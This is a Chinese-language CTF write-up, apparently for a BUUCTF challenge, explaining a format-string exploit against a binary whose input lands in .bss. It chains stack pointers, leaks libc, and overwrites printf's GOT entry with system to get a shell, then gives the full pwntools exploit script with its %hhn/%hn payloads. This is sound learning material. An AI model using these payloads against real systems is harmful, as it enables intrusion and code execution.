題目的例行檢查我就不放了,將程式放入ida中
很明顯的值放入了bss段的格式字串,所以我們動態除錯一下程式
可以看到ebp這個地方0xffd0dd17-->0xffd0dd38-->0xffd0dd48這個指標連結,而ebp這個的值是%6$p的偏移,所以我們可以通過修改%6這裡的指標處往0xffd0dd48這裡覆蓋位printf_got表的位置
相關程式碼為
可以看到我們成功的在a8也就是偏移為%14的這裡寫上了printf_got的地址(ebp指標不一樣因為我重新開啟的,不要介意)
然後再將%15的位置覆蓋為printf_got+1的地址(說實話,我也不知道這步是為什麼,)
相關程式碼為
可以看到成功將%14和%15的偏移處修改為了printf@got的地址,然後我們可以將system的地址覆蓋到這裡,這樣當我們輸入/bin/sh的時候就可以拿到shell了
相關程式碼
因為這裡我們是一步完成的,所以我們需要再減去0x10的長度
可以看到我們成功的將這裡的指標覆蓋為了system的地址
完整exp如下
from pwn import * import time p = process('./pwn1') #p = remote('node4.buuoj.cn',26202) libc = ELF('./libc-2.27-i386.so') p.sendlineafter('name:','aa') p.sendlineafter('password:','%15$p') p.recvuntil('0x') #10 14 __libc_start_main = int(p.recvuntil('\n',drop=True),16)-0xf1 libc_base = __libc_start_main - libc.symbols['__libc_start_main'] print('libc_base-->'+hex(libc_base)) system = libc_base + libc.sym['system'] print('system-->'+hex(system)) p.sendlineafter('Try again!','%6$p') p.recvuntil('0x') strack_addr0 = int(p.recvuntil('\n',drop=True),16) print('strack_addr0-->'+hex(strack_addr0)) #0xffda2994 p.sendlineafter('Try again!','%10$p') p.recvuntil('0x') strack_addr1 = int(p.recvuntil('\n',drop=True),16) print('strack_addr1-->'+hex(strack_addr1)) #0xffd2a9a4 #print_got 0x0804b014 cmd = 'b *0x08048575\n'
#strack_addr1的值就是ebp第二的指標
#---------------將%14的偏移的地址處修改為print_got的地址---------- payload = '%'+str(0x14)+'c'+'%10$hhn' p.sendlineafter('Try again!\n',payload) #14 payload1 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn' p.sendlineafter('Try again!\n',payload1) payload2 = '%'+str(0xb0)+'c'+'%10$hhn' p.sendlineafter('Try again!\n',payload2) #b0 payload3 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn' p.sendlineafter('Try again!\n',payload3) payload4 = '%'+str(0x04)+'c'+'%10$hhn' p.sendlineafter('Try again!\n',payload4) #04 payload5 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn' p.sendlineafter('Try again!\n',payload5) payload6 = '%'+str(0x08)+'c'+'%10$hhn' p.sendlineafter('Try again!\n',payload6) #08 #-------------------將%15的偏移處的地址覆蓋為printf_got+1的地址------------------------------- strack_addr1 = strack_addr1 + 4 payload1 = '%'+str(strack_addr1 & 0xff)+'c'+'%6$hhn' p.sendlineafter('Try again!\n',payload1) payload2 = '%'+str(0x15)+'c'+'%10$hhn' p.sendlineafter('Try again!\n',payload2) #15 payload3 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn' p.sendlineafter('Try again!\n',payload3) payload4 = '%'+str(0xb0)+'c'+'%10$hhn' p.sendlineafter('Try again!\n',payload4) #b0 payload5 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn' p.sendlineafter('Try again!\n',payload5) payload6 = '%'+str(0x04)+'c'+'%10$hhn' p.sendlineafter('Try again!\n',payload6) #04 payload7 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn' p.sendlineafter('Try again!\n',payload7) payload8 = '%'+str(0x08)+'c'+'%10$hhn' p.sendlineafter('Try again!\n',payload8) #08 #------------------修改為system的地址---------------------------- payload = '%'+str(system & 0xff)+'c'+'%14$hhn' payload += '%'+str(((system & 0xffff00)>>8)-0x10)+'c'+'%15$hn' print(hex(((system & 0xffff00)>>8)-0x10)) p.sendlineafter('Try again!\n',payload) time.sleep(0.5) p.sendline('/bin/sh') gdb.attach(p,cmd) p.interactive()
題後修補:注意第一次修改%6的偏移是為了修改指標指向的地址然後修改%10的值是修改地址指標上面的值
結束